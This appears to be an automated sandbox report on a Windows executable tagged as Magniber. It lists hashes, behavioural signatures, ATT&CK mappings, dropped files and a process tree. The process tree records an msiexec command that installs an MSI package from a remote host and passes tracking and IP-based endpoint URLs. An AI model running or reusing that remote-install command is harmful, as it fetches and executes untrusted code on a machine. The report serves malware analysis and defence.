256b8d710bc3abfddce9b631a6550c9f6607618b60434546fce3c4a83513aa54

General

Target

2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe
Size

1.4MB
MD5

d320766edaf34af1c13bbd4f5d1d9a76
SHA1

a2c65a313a8574813834c6948dbb03ee2e852d98
SHA256

256b8d710bc3abfddce9b631a6550c9f6607618b60434546fce3c4a83513aa54
SHA512

125c147fb7ef8c3b5ad8bc185a2dfae9fb4f4f138f17643abda68d227c789c6f28b7cba2a46ceb1c1eae63fcab265ec8489c8e64ebfb687ce9f873da56db6c1e
SSDEEP

24576:SaQRtR6aWWjiiK8ns23p+d8GNkuqrOdm+ncX2041gtF9xZvjaAbsveMc:Sa8bNBsPmOtQ9HbBMc

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2504	~xm6iqmv95k.tmp

Loads dropped DLL 1 IoCs

pid	Process
2388	2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
2708	MSIEXEC.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIEXEC.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	~xm6iqmv95k.tmp

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2708	MSIEXEC.EXE
Token: SeIncreaseQuotaPrivilege	2708	MSIEXEC.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2708	MSIEXEC.EXE
2708	MSIEXEC.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2388 wrote to memory of 2504	2388	2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe	30
PID 2388 wrote to memory of 2504	2388	2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe	30
PID 2388 wrote to memory of 2504	2388	2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe	30
PID 2388 wrote to memory of 2504	2388	2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe	30
PID 2388 wrote to memory of 2504	2388	2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe	30
PID 2388 wrote to memory of 2504	2388	2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe	30
PID 2388 wrote to memory of 2504	2388	2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe	30
PID 2504 wrote to memory of 2708	2504	~xm6iqmv95k.tmp	31
PID 2504 wrote to memory of 2708	2504	~xm6iqmv95k.tmp	31
PID 2504 wrote to memory of 2708	2504	~xm6iqmv95k.tmp	31
PID 2504 wrote to memory of 2708	2504	~xm6iqmv95k.tmp	31
PID 2504 wrote to memory of 2708	2504	~xm6iqmv95k.tmp	31
PID 2504 wrote to memory of 2708	2504	~xm6iqmv95k.tmp	31
PID 2504 wrote to memory of 2708	2504	~xm6iqmv95k.tmp	31

C:\Users\Admin\AppData\Local\Temp\2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-08_d320766edaf34af1c13bbd4f5d1d9a76_magniber.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Users\Admin\AppData\Local\Temp\~xm6iqmv95k.tmp
  "C:\Users\Admin\AppData\Local\Temp\~xm6iqmv95k.tmp"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\SysWOW64\MSIEXEC.EXE
    MSIEXEC.EXE /i "http://clatz.fileslldl.eu/client/pkgs/begado/Begado20141006014427.msi" DDC_DID=601627 DDC_RTGURL=http://www.filecdn.eu/dl/TrackSetup/TrackSetup.aspx?DID=601627%26filename=Begado%2Eexe DDC_UPDATESTATUSURL=http://77.120.109.205:8080/begado/Lobby.WebServices/Installer.asmx SETUPEXEDIR="C:\Users\Admin\AppData\Local\Temp" SETUPEXENAME="~xm6iqmv95k.tmp"
    3⤵
    - Use of msiexec (install) with remote resource
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\_is8AB8.tmp

Filesize
1KB

MD5
f276f36b2c2f4892c9457bf5882559c7

SHA1
a374dbb49a4ba4959c1741a830f1d7eda37a544d

SHA256
f674ee1493c7dc373d91644196cea71e25ba1c0e938ee6ca21be29b1f0ecf874

SHA512
e6f5ce2659647e2e095d7341ac1a4e9cb6a8ea82a289e405429d8dc56cae89cfa1c375253d3ece154ae08fc00fea7bb2b89a459b616ffbf98f6a4dbeeedddb8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\{BC4ACE70-F1B2-4A51-9153-1365C5C2AD51}\0x0409.ini

Filesize
21KB

MD5
be345d0260ae12c5f2f337b17e07c217

SHA1
0976ba0982fe34f1c35a0974f6178e15c238ed7b

SHA256
e994689a13b9448c074f9b471edeec9b524890a0d82925e98ab90b658016d8f3

SHA512
77040dbee29be6b136a83b9e444d8b4f71ff739f7157e451778fb4fccb939a67ff881a70483de16bcb6ae1fea64a89e00711a33ec26f4d3eea8e16c9e9553eff

Download Submit
C:\Users\Admin\AppData\Local\Temp\{BC4ACE70-F1B2-4A51-9153-1365C5C2AD51}\_ISMSIDEL.INI

Filesize
20B

MD5
db9af7503f195df96593ac42d5519075

SHA1
1b487531bad10f77750b8a50aca48593379e5f56

SHA256
0a33c5dffabcf31a1f6802026e9e2eef4b285e57fd79d52fdcd98d6502d14b13

SHA512
6839264e14576fe190260a4b82afc11c88e50593a20113483851bf4abfdb7cca9986bef83f4c6b8f98ef4d426f07024cf869e8ab393df6d2b743b9b8e2544e1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\~8AA5.tmp

Filesize
5KB

MD5
235542e58c8e691ba56f767b2c20b21e

SHA1
505681d33fa816a4fdbc8c5d4bb5c08ef9986c63

SHA256
560a9c7318d7024fb9a78ec32f364d8d922f0c4fecb692665d20d93741f08063

SHA512
32453657240d4c39ba6ebd4c2ab2387404910c1f68127543fde8ca931160267f976c49adad07ef35d63f3aeef029b4b729c01270b181d5189fbb1b67badabf74

Download Submit
\Users\Admin\AppData\Local\Temp\~xm6iqmv95k.tmp

Filesize
1.2MB

MD5
f685e35c9719a1d480ea621d4284bc08

SHA1
3c2c3f2bf23711fa28d89e7544ebe42a5b8b73ea

SHA256
2fe505e82e58e048847016639dd9fa329cdad239ffdfae6f2388a0364eae773c

SHA512
3c978bedb60b7fd3c55ae3c44cb5172ed90b940d7bfabcb20f7a79af6856564a3657bafc60334b2d3a1535f8903261d2db30f3463ab546e9ae91fbea827f9b9f

Download Submit

Analysis

Sharing